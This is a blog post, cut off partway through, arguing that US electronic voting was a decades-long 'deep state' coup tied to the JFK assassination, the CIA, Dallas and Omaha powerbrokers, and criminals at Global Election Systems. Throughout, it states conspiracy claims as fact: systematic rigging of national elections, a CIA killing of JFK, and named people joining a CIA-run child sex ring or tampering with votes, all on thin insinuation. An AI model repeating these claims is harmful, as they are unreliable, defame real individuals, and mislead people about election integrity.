tag:blogger.com,1999:blog-16450457800176621512024-03-13T18:11:26.807-03:00Marionumber1's blogUnknownnoreply@blogger.comBlogger13125tag:blogger.com,1999:blog-1645045780017662151.post-26565314833811647052017-05-21T22:43:00.000-04:002018-03-20T16:52:17.962-03:00Electronic Voting and the Deep StateWhen looking at systemic election fraud, an interesting question is when it all began. Obviously, we've had election fraud for as long as this nation existed, but it could never be executed on a national level until computers took over the vote counting process. Since 2000, there's been a nationwide vote shift to Republican candidates, as well as fraudulent primaries (2008 Dem, 2012 Rep, and 2016 Dem) to ensure the corporate candidate won. But did fraud start then, or did people just start paying attention?<br />
<br />
Quite often, the <a href="https://en.wikipedia.org/wiki/Help_America_Vote_Act"><b>Help America Vote Act (HAVA)</b></a> of 2002 is described as the turning point. The law mandated states modernize their voting systems after the disastrous 2000 election, adopting electronic voting systems (optical scanners and DREs) and voter registration databases. All of this made elections much easier to tamper with on a wide scale.<br />
<br />
Yet HAVA only accelerated what had been going on for a long time. The groundwork for fraud was laid back in the 1960s, when punch card voting came into prominence and a <a href="https://en.wikipedia.org/wiki/Voter_News_Service">private media consortium</a> took over reporting the results. In the 1970s and 80s, Dallas and Omaha powerbrokers began consolidating the elections industry. In the 1990s and early 2000s, financial criminals from Vancouver and Seattle steered Global Election Systems (later Diebold) to a dominant position.<br />
<br />
The introduction of electronic voting is a national coup decades in the making. It has numerous ties to convicted criminals, mob organizations, wealthy powerbrokers, military/defense contractors, and the CIA. Sound like a crazed conspiracy theory? Everything I'm about to share can be easily verified.<br />
<br />
<br />
<h2>
JFK assassination and "the roots of vote fraud"</h2>
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://2.bp.blogspot.com/-SMvm6XGCRTs/WSJXoqfejvI/AAAAAAAAH08/MtPdbRUNLJwO31RlHgKL6SxxSb8R6ipAQCLcB/s1600/la-jfk-assassination-50-years-later-dto.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="180" src="https://2.bp.blogspot.com/-SMvm6XGCRTs/WSJXoqfejvI/AAAAAAAAH08/MtPdbRUNLJwO31RlHgKL6SxxSb8R6ipAQCLcB/s320/la-jfk-assassination-50-years-later-dto.jpg" width="320" /></a></div>
<br />
One of the first investigations into election fraud was <a href="http://www.votescam.org/">Jim and Ken Collier's book <i>Votescam</i></a>. The two brothers stumbled onto the issue all the way back in 1970, when Ken decided to run for office in Miami against incumbent Democratic congressman Claude Pepper. Originally intending to write a book about the experience of running for office, they found themselves investigating the shadowy world of media consortiums, state election officials, and private election contractors.<br />
<br />
On election night, Ken got as high as 31% of the vote before the election computer "broke down". The local news outlets fell back to broadcasting their "projections" of the vote count instead. Ken's count dropped back down to 16%, where it remained for the rest of the night. Shockingly, these projections, based off the vote totals of only one machine, matched the final results with almost perfect accuracy. When Jim and Ken went to the professor who did the projections for Channel 7 to ask how he managed that feat, he told them "You'll never prove it. Now, get out".<br />
<br />
Jim and Ken set out on a decades-long investigation of vote tampering that took them across the US. They found evidence of forged election records, rigged lever machines, interest groups like the League of Women Voters tampering with punch cards (which they videotaped), suspicious media activities, and private election companies like <b>Computer Election Systems (CES)</b>, Fidlar, and Triad.<br />
<br />
The role of the media was particularly troubling. When Ken first ran for office in 1970, the official results were virtually identical to the media projections. The conclusion drawn by the Collier brothers was that the media predetermined the election results, which ultimately became official.<br />
<br />
As they dug further, the Collier brothers uncovered the existence of a media consortium that had taken control of reporting election results. <a href="http://www.truth-out.org/news/item/12213-americas-media-just-made-vote-rigging-easier">At the time</a>, there was no World Wide Web for Secretaries of State to report election results in real time. <b>News Election Services (NES)</b>, founded in 1964, had the sole responsibility to collect vote tallies from individual counties and report them to the nation. NES was a collaboration between ABC, CBS, NBC, CNN, AP, and newspapers like the Washington Post and New York Times.<br />
<br />
This media consortium had the ability to report any results they wanted and have the public accept them as fact. If necessary, they could also collude with the local officials and private contractors to make the official results match. Practically nobody would be able to expose this scheme even if caught, because NES <i>were</i> the media. The Collier brothers caught this in their 1970 race, and many others in the following decades. But any attempt to dig into the NES would be met by stonewalling and "This is not a proper area of inquiry".<br />
<br />
When Ken Collier appeared on a radio show to discuss the Votescam investigation, conspiracy researcher <a href="https://en.wikipedia.org/wiki/Mae_Brussell">Mae Brussell</a> called in and told him "the roots of vote fraud were to be found in Dallas". After JFK was shot in 1963, she theorized that the CIA and media did a trade-off, with the media covering up the Warren Commission's inconsistencies in exchange for control of the vote count.<br />
<br />
Indeed, NES was founded in 1964, only a year after JFK's assassination. Then a year later, in 1965, the first major computerized voting system - a punch card system - <a href="https://en.wikipedia.org/wiki/Voting_machine#Punched_card">came to prominence</a>. After JFK's murder, a corrupt media consortium took control of election reporting and computers were first introduced into US elections. If Mae Brussell's theory is correct, it seems that the CIA got right to work solidifying their control over the democratic process immediately after killing JFK in 1963. Her theory also makes sense in the context of <a href="https://en.wikipedia.org/wiki/Operation_Mockingbird">Operation Mockingbird</a>, a CIA media control program.<br />
<br />
NES later merged with an exit polling consortium, Voter Research and Survey (VRS), to form the <b><a href="https://en.wikipedia.org/wiki/Voter_News_Service">Voter News Service</a> (VNS)</b> into 1990. In 2000, Victoria Collier (daughter of Jim Collier) <a href="http://www.votescam.org/victoria_collier_interviews_voter_news_service">interviewed Bill Headline</a>, executive director of VNS. He sounded shockingly nervous, and hung up when Victoria expressed her distrust in the mainstream media. Headline turns out to have been in Naval Intelligence from 1955 to 1957 before joining CBS and rising through the media ranks. This offers further reason to believe there was CIA influence over the media and VNS.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://img708.imageshack.us/img708/5408/i666f.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://img708.imageshack.us/img708/5408/i666f.png" height="57" width="320" /></a></div>
<br />
For some time, the Voter News Service computers were located in the World Trade Center. From July 1, 1999 to November 30, 2000, the VNS <a href="http://corpinfo.panynj.gov/files/uploads/documents/freedom-of-information/foi-fulfilled-requests/13155-WTC.pdf">had leased space</a> on the 93rd floor of WTC2. Luckily, they had the good sense to let their lease expire less than a year before the 9/11 attacks.</div>
<div>
<br /></div>
<h2>
BRC: Hunt family roots</h2>
<div>
Mae Brussell might have been unknowingly prophetic when she said the roots of vote fraud were to be found in Dallas. During the 1980s, a cadre of Dallas powerbrokers entered the elections industry, the most powerful being an heiress to <a href="https://en.wikipedia.org/wiki/H._L._Hunt#Family">the Hunt family</a>.</div>
<div>
<br /></div>
<div>
<b>H.L. Hunt</b> was an immensely wealthy Texas oilman and conservative activist. Keeping Brussell's meaning of a Dallas connection in mind, some have even implicated him in the JFK assassination. As a member of the radical-right and anti-communist <a href="https://en.wikipedia.org/wiki/John_Birch_Society">John Birch Society</a>, Hunt despised Kennedy. His son, Nelson Bunker Hunt, <a href="http://jfk.hood.edu/Collection/Weisberg%20Subject%20Index%20Files/H%20Disk/Hunt%20H%20L/Item%2009.pdf">funded an anti-JFK ad</a> for the day he entered Dallas, accusing him of aiding communists:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://stevenhager420.files.wordpress.com/2013/11/jfk_24_flyer1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://stevenhager420.files.wordpress.com/2013/11/jfk_24_flyer1.jpg" width="204" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
Madeleine Duncan Brown, LBJ's alleged illicit lover, <a href="http://www.21stcenturyradio.com/1314-presidents.html">claimed</a> that Texas oilmen like H.L. Hunt and LBJ conspired to murder JFK. <a href="https://en.wikipedia.org/wiki/Sam_Giancana">Sam Giancana</a>, a Mafia leader who worked with the CIA in its anti-Castro assassination program, <a href="http://jfkmurdersolved.com/images/462.JPG">also said</a> that oil tycoons including Hunt funded the assassination.</div>
<div>
<br /></div>
<div>
Regardless of whether the Hunt family was involved with the JFK assassination, it was undeniably powerful, both financially and politically. That same influence was retained by Hunt's heirs. Nelson Bunker Hunt, in 1981, was a founding member of the <b><a href="https://en.wikipedia.org/wiki/Council_for_National_Policy">Council for National Policy</a> (CNP)</b>, a secretive religious right organization forming a political strategization network of conservative power players. Its past and current members include Oliver North (Iran-Contra conspirator), key insiders in Trump's administration, and a couple election fraud-related names we'll see later.</div>
<div>
<br /></div>
<div>
<b>Caroline Rose Hunt</b>, daughter of H.L. Hunt, <a href="http://www.nytimes.com/1986/10/26/business/the-wealthiest-woman-in-america.html">parlayed her family fortune</a> into the Dallas business community. Her business holdings were owned under the Rosewood Corporation, and included oil and gas properties as well as a luxury hotel business. Also owned by Caroline Hunt was the investment firm Rosewood Financial Partners.</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://rosewd.com/img/team/caroline-rose-hunt.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://rosewd.com/img/team/caroline-rose-hunt.jpg" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
The Collier brothers witnessed the beginning of private companies running elections. But up to the 1980s, the network of election vendors and contractors was still diverse and regional. That was about to change thanks to a dominant Dallas elections company: Business Records Corporation.</div>
<div>
<br /></div>
<div>
<b>Business Records Corporation (BRC)</b> was a major provider of elections supplies (such as voting equipment and ballots) in the late-20th century. It was a subsidiary of Cronus Industries. From 1984 to 1986, <a href="http://blackboxvoting.org/bbv_chapter-8.pdf">BRC went on an acquisition spree</a>, buying up other elections companies from all over the US. In 1985, Cronus purchased Computer Election Systems Inc. (CESI), the largest US voting technology company (and one of the firms mentioned in <i>Votescam</i>), and integrated it with BRC. By 1986, Cronus <a href="http://www.nytimes.com/1986/05/01/business/cronus-industries.html">had sold its other subsidiaries</a> and opted just to focus on BRC.</div>
<div>
<br /></div>
<div>
<b>Cronus Industries</b>, in turn, <a href="http://www.thelandesreport.com/votingmachinecompanies.htm#ES&S">was owned by numerous Dallas powerbrokers</a>. Among them were Rosewood Financial Partners (Caroline Hunt's firm), with a 6% stake, and two other companies tied to the Hunts (Buttonwood Capital and L.D. Brinkman), with 7.3% and 5.32% stakes. That means nearly 20% of Cronus was owned by Hunt or former business associates of hers. Several other Dallas investment firms were also owners, including a partner of <a href="https://en.wikipedia.org/wiki/N_M_Rothschild_%26_Sons">Rothschild Inc</a>.</div>
<div>
<br /></div>
<div>
This consortium of Dallas powerbrokers, many of whom had deep ties to conservative activism and the religious right, began consolidating the US elections ecosystem from an assortment of locally-owned companies to a centrally-controlled industry. Did they have sinister motives in doing so? We can't say, but the conflicts of interest are disturbing, and centralizing control of elections into a small number of private corporations would indeed make it much easier to control US elections nationwide.</div>
<div>
<br /></div>
<h2>
ES&S and its big Omaha players</h2>
<div>
In Omaha NE, another major elections company was rapidly growing. <a href="http://www.omaha.com/columnists/kelly/kelly-this-omaha-company-shaped-how-america-counts-its-election/article_459030e0-b522-5a7b-b953-1e6c958e5439.html">The company began with <b>Bob Urosevich</b></a>, an Omaha resident who worked at the ballot printing company for Douglas County NE.</div>
<div>
<br /></div>
<div>
At the time, Douglas County was one of the largest locales still hand-counting its ballots. In 1974, Urosevich, who remembered taking Scantron tests, wondered if the same kind of system could be used for counting votes. He approached Westinghouse Learning Corporation in Iowa City to test out his idea. In 1975, Urosevich gave a demonstration to Mike Boyle, election commissioner for Douglas County. Boyle was impressed, and Urosevich convinced the county to use it in the 1976 primary.</div>
<div>
<br /></div>
<div>
Following its success in the primary, Urosevich founded Data Mark Systems as a seller of Westinghouse ballot tabulators. Based in Omaha, it received the contract to count votes in the Douglas County general election, and marketed its product to other Nebraska counties as well. In 1978, Bob Urosevich hired his brother Todd, a former IBM salesman. In 1979, after Westinghouse pulled out of the industry, Data Mark hired some of their employees and was renamed to <b>American Information Systems (AIS)</b>.</div>
<div>
<br /></div>
<h3>
The Ahmansons invest</h3>
<div>
AIS originally epitomized the small, local election vendor that was prevalent before the 1980s. But at the turn of the decade, it started attracting interest from some very high-level financial and political interests.</div>
<div>
<br /></div>
<div>
<b>William</b> and <b>Robert Ahmanson</b>, savings-and-loan industry millionaires in California, <a href="http://www.omaha.com/columnists/kelly/kelly-this-omaha-company-shaped-how-america-counts-its-election/article_459030e0-b522-5a7b-b953-1e6c958e5439.html">poured capital into AIS in 1979</a>. Their decision to invest apparently come about from the Ahmansons' friendship with the Urosevich family. A friendship between the Urosevich family and these S&L millionaires is quite interesting, since it suggests that the Urosevich family might have been quite well-connected.</div>
<div>
<br /></div>
<div>
<a href="http://blackboxvoting.org/bbv_chapter-8.pdf">As Bev Harris notes</a>, the Ahmanson brothers were older cousins of <b>Howard Ahmanson Jr.</b>, a Christian Reconstructionist who used his fortune to fund extreme right-wing politics. Howard Ahmanson Jr. <a href="http://www.seekgod.ca/cnp.a.htm#ahmanson">was a member of the Council for National Policy</a> from 1984-85 and in 1988. Recall that Nelson Bunker Hunt, whose sister Caroline had a substantial interest in another voting machine company, initially founded the CNP.</div>
<div>
<br /></div>
<div>
In 1987, the Ahmansons sold their AIS shares to the Omaha World-Herald, the state's largest newspaper (which got a 45% stake), and the McCarthy Group, an Omaha investment bank (which got 35%).</div>
<div>
<br /></div>
<h3>
Omaha World-Herald</h3>
<div>
The Omaha World-Herald was a very influential newspaper in the US. Its publisher and CEO, <a href="http://www.haroldandersen.com/wp/about/"><b>Harold Andersen</b></a>, ran in elite circles at the national level. From 1972 to 1975, <a href="https://www.newspapers.com/newspage/62794246/">he served</a> on the Federal Reserve Bank of Kansas City. In 1987, <a href="http://www.nytimes.com/1987/11/23/business/executive-changes-786787.html">he became</a> a board member for the Williams Companies (<a href="http://truth-out.org/archive/component/k2/item/71932:jason-leopold--cheney-suppressed-evidence-in-california-energy-crisis">later implicated</a> in manufacturing the 2000 CA energy crisis). Andersen was also a member of the <b><a href="https://en.wikipedia.org/wiki/Council_on_Foreign_Relations">Council on Foreign Relations</a> (CFR)</b>, a New York foreign policy think-tank full of neoconservatives.</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://content.omaha.com/media/maps/125/images/harold-andersen.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://content.omaha.com/media/maps/125/images/harold-andersen.jpg" height="320" width="315" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
Andersen and the Omaha World-Herald are also implicated in something much darker: <a href="http://www.counterpunch.org/2012/09/10/still-evil-after-all-these-years/"><b>the Franklin scandal</b></a>. The Franklin scandal concerned an Omaha-based child sex trafficking ring that pandered children to political and business elites. Run by Republican rising star <b>Lawrence E. King</b>, using his Franklin Credit Union as a front (hence the name), it provided children to elites in Omaha and also flew them across the US, including to Washington DC. Larry King's child sex ring was linked to the CIA, particularly through CIA asset <a href="https://en.wikipedia.org/wiki/Craig_J._Spence"><b>Craig Spence</b></a>, and was used for blackmail purposes.</div>
<div>
<br /></div>
<div>
In Omaha, King frequently threw parties with local elites in which these children were provided for sex. One of the people implicated at these child sex parties was Harold Andersen. Andersen was also a financial backer of King's, lavishly funding the Franklin Credit Union and sitting on its advisory board. Another World-Herald columnist implicated at King's parties was Peter Citron. The Omaha World-Herald praised King's good, charitable work at the credit union as he embezzled nearly $40 million from it.</div>
<div>
<br /></div>
<div>
When the Franklin scandal began breaking in 1988, the Omaha World-Herald vehemently attacked the allegations of a child sex ring. The existence of the pedophile ring was dismissed as lunatic conspiracy theory, and the children accusing King were smeared as liars. Andersen stepped down as publisher and CEO in 1989, but the cover-up by the World-Herald continued. Rather than calling for a proper investigation, it called for the victims to be prosecuted for perjury, which ultimately happened.</div>
<div>
<br /></div>
<div>
Morally, it is unconscionable to have a newspaper run by sadistic child abusers and their defenders owning a voting machine company. Politically, it's very likely that the people running the Omaha World-Herald are compromised or controlled by the CIA, which is another big conflict of interest.</div>
<div>
<br /></div>
<div>
Given the Omaha World-Herald's cover-up of the CIA-run child sex ring, and Andersen's multitude of national political connections (to the Fed, major corporations, and the CFR), it's quite plausible that Andersen himself was a CIA asset, used for media control under <a href="https://en.wikipedia.org/wiki/Operation_Mockingbird">Operation Mockingbird</a>. (The CIA allegedly ended the operation in the 1970s, but they also claimed to have ended <a href="https://en.wikipedia.org/wiki/Project_MKUltra">Project MKUltra</a> around that time, and some Franklin victims reported their abuse was for MKUltra-like experiments.)</div>
<div>
<br /></div>
<h3>
McCarthy Group</h3>
<div>
What about the other owner of AIS, the McCarthy Group? Its role is even more mysterious than that of the Omaha World-Herald.</div>
<div>
<br /></div>
<div>
Started in 1986, the McCarthy Group is an Omaha investment bank <a href="http://www.csbsju.edu/center-for-entrepreneurship/entrepreneurial-alums/mike-mccarthy-73">founded by <b>Michael McCarthy</b></a>. Somehow, only a year after its founding, the McCarthy Group was able to acquire a 35% stake in AIS from the millionaire Ahmansons.</div>
<div>
<br /></div>
<div>
Very little is known about Mike McCarthy or the McCarthy Group. It <i>is</i> known that McCarthy has served on several corporate boards in Omaha, including <a href="https://en.wikipedia.org/wiki/Kiewit_Corporation">Peter Kiewit Sons'</a> (since 2001) and <a href="https://en.wikipedia.org/wiki/Union_Pacific_Railroad#Union_Pacific_Corporation">Union Pacific Corporation</a> (since 2008). Executives from both of these Omaha corporations were implicated in Franklin as well.</div>
<div>
<br /></div>
<div>
The McCarthy Group also has a close relationship with the Omaha World-Herald. <b>John Gottschalk</b>, president of the World-Herald in 1986 and publisher after Andersen stepped down in 1989, <a href="https://books.google.com/books?id=bjPCecGKIsMC&lpg=PA79&dq=%22chuck%20hagel%22%20%22ben%20nelson%22%20%22poll%22&pg=PA73#v=onepage&q=%22chuck%20hagel%22%20%22ben%20nelson%22%20%22poll%22&f=false">was a good friend of Michael McCarthy</a>. At some point between 1986 (the Group's founding) and 2002 (when Bev Harris discovered this), a World-Herald subsidiary called World Investments actually acquired the McCarthy Group. How long this relationship lasted is unclear, but John Gottschalk <a href="http://www.mccarthycapital.com/mccarthy-group-llc/">is still on the McCarthy Group board</a> to this very day.</div>
<div>
<br /></div>
<div>
Ultimately, two closely-linked Omaha companies, one of which had CIA connections, shared ownership of AIS.</div>
<div>
<br /></div>
<h3>
Chuck Hagel's connection</h3>
<div>
A big name in national politics worked at both the McCarthy Group and AIS: <a href="https://en.wikipedia.org/wiki/Chuck_Hagel"><b>Chuck Hagel</b></a>. Hagel was born in Omaha, but moved to DC in the 1980s to get involved with Republican politics. After a brief stint as Deputy VA Administrator under Reagan, Hagel became a businessman in the DC area. He founded Vanguard Cellular in 1982, making him a multi-millionaire. Hagel also became president and CEO of the World USO and Private Sector Council, directed the 1990 G7 summit, and sat on the boards of several NGOs.</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://upload.wikimedia.org/wikipedia/commons/4/4c/Chuck_Hagel_official_photo.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://upload.wikimedia.org/wikipedia/commons/4/4c/Chuck_Hagel_official_photo.jpg" width="229" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
In 1988, John Gottschalk (who knew Hagel through their mutual membership in the World USO) <a href="https://books.google.com/books?id=bjPCecGKIsMC&lpg=PA79&dq=%22chuck%20hagel%22%20%22ben%20nelson%22%20%22poll%22&pg=PA73#v=onepage&q=%22chuck%20hagel%22%20%22ben%20nelson%22%20%22poll%22&f=false">invited Hagel and Michael McCarthy</a> on a fishing trip in Wyoming. The two became friends, and Hagel moved to Omaha in 1992 to serve as president of McCarthy's investment bank and chairman of AIS.</div>
<div>
<br /></div>
<div>
<a href="http://blackboxvoting.org/bbv_chapter-3.pdf">Hagel served</a> on the McCarthy Group and AIS from 1992 to 1995. He was recognized in his biography as rescuing AIS from financial insolvency. After Bob Urosevich left the company in late 1993, Hagel replaced him as CEO.</div>
<div>
<br /></div>
<div>
By 1995, Hagel decided to run for a Nebraska Senate seat. He resigned from the McCarthy Group and AIS that year before entering the race. However, he neglected to disclose his positions at AIS on the Senate candidacy disclosure forms, nor did he report a continuing $1-5 million investment in AIS that he had transferred to the McCarthy Group. This ethical violation hid the fact that Hagel had very recently run a company making the machines that would count the votes in his Senate race.</div>
<div>
<br /></div>
<div>
His Democratic opponent was popular Democratic governor Ben Nelson. Hagel, a political newcomer who had only recently moved back to Nebraska, <a href="http://harpers.org/archive/2012/11/how-to-rig-an-election/3/">trailed in the polls</a> behind Nelson throughout 1996. While he did gain momentum as November approached, the very closest poll (taken by the Omaha World-Herald a couple days before the election) showed a tied race. On election day, Hagel officially won a landslide victory of 14%.</div>
<div>
<br /></div>
<div>
This shocking upset attracted nationwide attention. But thanks to Hagel's unethical decision not to disclose his position at AIS, few people knew of his conflict of interest with the company counting his Senate votes. Together, these aspects raise suspicion that Hagel's election victory was stolen. <a href="http://marionumber1.blogspot.com/2017/03/chuck-hagel-and-nebraska-election-fraud.html">My statistical analysis</a> of Douglas County NE found evidence of tampering in that 1996 election.</div>
<div>
<br /></div>
<div>
Hagel ultimately rose very high in DC political circles. <a href="http://thehill.com/homenews/news/10996-world-leaders-attend-meeting-that-they-wont-talk-about">He attended</a> the infamous <b>Bilderberg Group</b> meetings in 1999 and 2000. When a Republican ethics committee chair looked into Hagel's dishonest filings about AIS and the McCarthy Group, he was strong-armed into resigning. It looked to many political observers like Hagel was being groomed as a presidential candidate in 2008. That run never materialized, but Hagel did become Defense Secretary under Obama and is a member of the Council on Foreign Relations today.</div>
<div>
<br /></div>
<div>
In Hagel's move back to Omaha in the 1990s, we can see him being pulled into this network of Omaha powerbrokers that controlled AIS. He was also the beneficiary, if not the orchestrator, of a rigged Senate election. And he rose to national political prominence, even joining elite groups like Bilderberg and CFR.</div>
<div>
<br /></div>
<h3>
Merging with BRC</h3>
<div>
By 1997, BRC (run by Dallas powerbrokers) and AIS (run by Omaha powerbrokers) <a href="http://blackboxvoting.org/bbv_chapter-8.pdf">decided to merge</a>. Strangely, despite BRC having a larger presence throughout the US, it was AIS who acquired <i>them</i>. The Justice Department halted the merger on antitrust grounds, leading to an arrangement where BRC transferred the Optech line to Sequoia (more on them below). The new company was <b>Election Systems & Software (ES&S)</b>.</div>
<div>
<br /></div>
<div>
With this move, wealthy elites consolidated their control over the election process even further.</div>
<div>
<br /></div>
<h2>
Global Election Systems: fraudsters and felons</h2>
<div>
In 1983, as BRC began its acquisition blitz and AIS was still in its early years, Clinton H. Rickards founded <b>North American Professional Technologies (NAPT)</b>, a Vancouver technology company. One of NAPT's first projects, begun in 1986, was developing an electronic voting system. They partnered with <a href="https://en.wikipedia.org/wiki/Unisys">Unisys Corporation</a> in the US, which acquired a patent for a voting system based on one of BRC's optical scanners. NAPT's new voting system was initially called the ES-200; later, it got the name AccuVote.</div>
<div>
<br /></div>
<div>
Unfortunately for NAPT, it would attract a bevy of financial criminals. All of these financial criminals would compromise the integrity of the company and raise suspicion that it had been converted into a criminal enterprise.</div>
<div>
<br /></div>
<h3>
Macrotrends crooks</h3>
<div>
Developing a voting system was expensive, forcing NAPT to seek funds from <b>Macrotrends International Ventures Inc.</b>, a venture capital firm based in Vancouver. By 1989, when the ES-200 was completed, NAPT had become a subsidiary of Macrotrends. Getting funding from Macrotrends may have kept NAPT afloat, but it put them under the influence <a href="http://blackboxvoting.org/bbv_chapter-8.pdf">of some very unsavory folks</a>.<br />
<br />
<b>Norton Cooper</b>, who marketed Macrotrends and its companies, had been jailed in 1974 for defrauding the Canadian government. During the 1980s, he sold so many fraudulent stock deals through Macrotrends that the Vancouver Stock Exchange (VSE) ordered Macrotrends to fire him in 1989. Cooper's stock fraud led to Forbes labeling the VSE as the "Scam Capital of the World".<br />
<br />
<b>Charles Hong Lee</b>, a director of Macrotrends and NAPT, was a childhood friend of Cooper and was involved in some of his fraudulent ventures. When he and Cooper were sued in 1989 by investors in a Macrotrends venture, Lee failed to answer the lawsuit. He was ultimately ordered to pay over $500,000 in restitution.<br />
<br />
In 1994, Lee defrauded Chinese immigrants out of more than $600,000 along with his business partner Michael K. Graye. <b>Michael K. Graye</b>, from 1987 to 1991, stole up to $18 million from four corporations, and was arrested in 1996 for tax fraud and money laundering. To make bail, a Hong Kong shell company sold "real estate" and got $300,000 from investors. Graye was simultaneously indicted on stock fraud charges for Vinex Wines, a US company he ran with Lee.<br />
<br />
NAPT ended its relationship with Unisys in 1991, merging with Macrotrends to form <b>Global Election Systems</b>. Global bought the rights to the patent Unisys had owned and got into the elections industry on its own. The programming office was in Vancouver, while the executive offices and manufacturing body were headquartered in McKinney TX. All three crooks (particularly Graye) were part of Global Election Systems for a short time after its 1991 founding, but left within a couple years.<br />
<br />
Michael K. Graye's business ventures <a href="http://www.siliconinvestor.com/readmsg.aspx?msgid=16660206">were tied to a Mafia-linked penny stock promoter</a>. That implies that Charles Hong Lee, Graye's business partner, could have had mob connections as well, including (given his status as a Chinese immigrant) to the <a href="https://en.wikipedia.org/wiki/14K_Triad">Hong Kong Triad</a> in Vancouver. The Triad engages in activities such as drug smuggling and human trafficking (a second possible connection between sex trafficking and election fraud).<br />
<br /></div>
<h3>
Hiring in their own image</h3>
<div>
How much does it matter if financial crooks were owners and directors of Global? Does it compromise the integrity of the entire company? Not necessarily, but <a href="https://www.democraticunderground.com/discuss/duboard.php?az=show_mesg&forum=104&topic_id=379514&mesg_id=379695">Bev Harris points out</a> that people running a company tend to hire in their own image. Did that happen for Global?<br />
<br />
<b>Talbot Iredale</b> was one of the original voting machine developers at NAPT during the late 80s. While writing touchscreen software patches for the 2002 Georgia election, <a href="http://blackboxvoting.org/bbv_chapter-11.pdf">he explicitly said</a> that he didn't want Wyle Labs (the outside certifier) to review the patches. In other words, Iredale wanted to put code onto voting machines in a live election that wasn't looked over by anyone else. I sure wonder why that is. That 2002 Georgia election featured multiple shocking Republican upsets.<br />
<br />
In the 2003 California primary, a live election database from San Luis Obispo County <a href="http://www.scoop.co.nz/stories/HL0309/S00067/the-diebold-san-luis-obispo-file-mystery-deepens.htm">somehow found its way onto the Global FTP server</a>. County clerk Julie Rodewald said that neither she nor anyone on her staff uploaded the file. A password on the ZIP file containing the database gave a clue who did: "Sophia". <b>Sophia Lee</b> was a Global technician who, according to Rodewald, was in the county on election day (though she denied giving Sophia tabulator access). Might she have been related to Charles Hong Lee? Both of them reported coming from Hong Kong.<br />
<br />
Though it's only two examples, Global's employees have a history of strange activities with voting system code and election data.<br />
<br /></div>
<h3>
Urosevich joins the company</h3>
<div>
A pattern that emerges in the elections industry is the constant swapping of subsidiaries, products, and staff between companies. It appears like a constant attempt to evade antitrust actions, while keeping the voting machine business centralized among a few key players.<br />
<br />
<b>Bob Urosevich</b>, the founder and CEO of AIS in Omaha, left the company in 1993. <a href="https://www.verifiedvoting.org/resources/voting-equipment/premier-diebold/accuvote-tsx/">He started</a> a new voting machine company, <b>I-Mark Systems</b>, in 1995. I-Mark's goal was developing a touchscreen voting system, and to that end, it built a few prototypes. In 1997 (the same year ES&S was formed from AIS and BRC), Global Election Systems acquired I-Mark. Urosevich became a board member and executive at Global. I-Mark's touchscreen would become the AccuVote TSx, for which Talbot Iredale wrote his secret patches.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-cb5MlV7cCmk/WSG5bmcUPRI/AAAAAAAAH0M/aBO5vDfNpYwFVKCQEvMjnWWW_knl8iq1QCLcB/s1600/bob_urosevich.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://3.bp.blogspot.com/-cb5MlV7cCmk/WSG5bmcUPRI/AAAAAAAAH0M/aBO5vDfNpYwFVKCQEvMjnWWW_knl8iq1QCLcB/s1600/bob_urosevich.jpg" /></a></div>
<div style="text-align: center;">
<b>Bob Urosevich showing off the AccuVote TSx</b></div>
</div>
<h3>
Jeffrey Dean</h3>
<div>
At the turn of the 21st century, another financial crook attained a very high position at Global: embezzler <b>Jeffrey Dean</b>. Dean brought along with him cocaine trafficker <b>John Elder</b>.<br />
<br />
(Sources about Dean: <a href="https://www.opednews.com/articles/1/Two-convicted-felons-invol-by-Bev-Harris-101013-716.html?p=1&f=Two-convicted-felons-invol-by-Bev-Harris-101013-716.html">1</a>, <a href="http://www.scoop.co.nz/stories/HL0312/S00191.htm">2</a>, <a href="http://freepress.org/departments/display/19/2006/1748">3</a>, <a href="http://web.archive.org/web/20080316125158/http://www.bbvforums.org/cgi-bin/forums/board-auth.cgi?file=/1954/17305.html">4</a>)<br />
<br />
Dean was an engineer living in Seattle. He worked at Boeing before founding his own consulting company. In 1982, Dean's consulting company was hired by the politically-connected <b>Culp, Guterson & Grader</b> law firm to program their accounting system. CG&G later discovered that Dean had stolen hundreds of thousands of dollars from the firm. Dean took an Alford plea (not admitting guilt) in 1989, was sentenced to prison, and was ordered to pay restitution to CG&G.<br />
<br />
Interestingly, Dean maintains that he was a fall guy for a scheme involving other partners of CG&G. He claimed that other CG&G partners would take money out of the firm, invest it, and reap the profits while returning the original amount to the firm. Dean said he assisted them in this scheme, but when the investments went awry, he became the one who took the fall.<br />
<br />
Whether Dean is telling the truth is unclear. He's clearly a fraud and a liar, and his original story to Seattle police was that he stole the money to pay blackmail over a fight in which somebody died. However, Dean's incredible rise to success after the embezzlement sentence implies that high-level political players (like those at CG&G) were supporting and protecting him. So the idea that Dean took the fall does carry some weight.<br />
<br />
